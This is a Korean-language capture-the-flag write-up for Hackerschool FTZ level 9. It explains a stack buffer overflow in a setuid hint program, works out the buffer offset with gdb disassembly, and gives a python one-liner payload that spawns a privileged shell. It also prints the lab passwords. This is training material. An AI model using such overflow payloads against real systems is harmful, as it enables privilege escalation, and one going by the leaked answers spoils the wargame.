본문 바로가기

Write-Up/해커스쿨 FTZ

FTZ level9

login : level9

pw : apple

 

[level10@ftz level9]$ cat hint
다음은 /usr/bin/bof의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
이를 이용하여 level10의 권한을 얻어라.

 

It can be overflow~

 

gdb로 까서 보기위해

따로 만들고

[level10@ftz a]$ vi level9.c
[level10@ftz a]$ gcc -o level9 level9.c
[level10@ftz a]$ ls
level9 level9.c
[level10@ftz a]$ gdb -q level9
(gdb) set disas intel
(gdb) disas main
Dump of assembler code for function main:
0x08048420 <main+0>: push ebp
0x08048421 <main+1>: mov ebp,esp
0x08048423 <main+3>: sub esp,0x28
0x08048426 <main+6>: and esp,0xfffffff0
0x08048429 <main+9>: mov eax,0x0
0x0804842e <main+14>: sub esp,eax
0x08048430 <main+16>: sub esp,0xc
0x08048433 <main+19>: push 0x8048554
0x08048438 <main+24>: call 0x8048350 <printf>
0x0804843d <main+29>: add esp,0x10
0x08048440 <main+32>: sub esp,0x4
0x08048443 <main+35>: push ds:0x8049698
0x08048449 <main+41>: push 0x28
0x0804844b <main+43>: lea eax,[ebp-40]
0x0804844e <main+46>: push eax
0x0804844f <main+47>: call 0x8048320 <fgets>
0x08048454 <main+52>: add esp,0x10
0x08048457 <main+55>: sub esp,0x4
0x0804845a <main+58>: push 0x2
0x0804845c <main+60>: push 0x804856a
0x08048461 <main+65>: lea eax,[ebp-24]
0x08048464 <main+68>: push eax

 

main+43 ebp-40이 buf에 위치이고 ebp-24가 buf2에 위치이다.

 

buf와 buf2의 거리가 16이라는 것을 알수있다

 

16만큼 아무값 넣고 go 넣으면 buf가 16만큼 들어가고 go는 buf2에 들어간다

 

(python -c 'print "A"*16 + "go"';cat) | /usr/bin/bof ㄱㄱㄱ

 

 

pw : interesting to hack!

'Write-Up > 해커스쿨 FTZ' 카테고리의 다른 글

FTZ level11  (0) 2021.03.13
FTZ level10  (0) 2021.03.12
FTZ level8  (0) 2021.03.12
FTZ level7  (0) 2021.03.11
FTZ level6  (0) 2021.03.11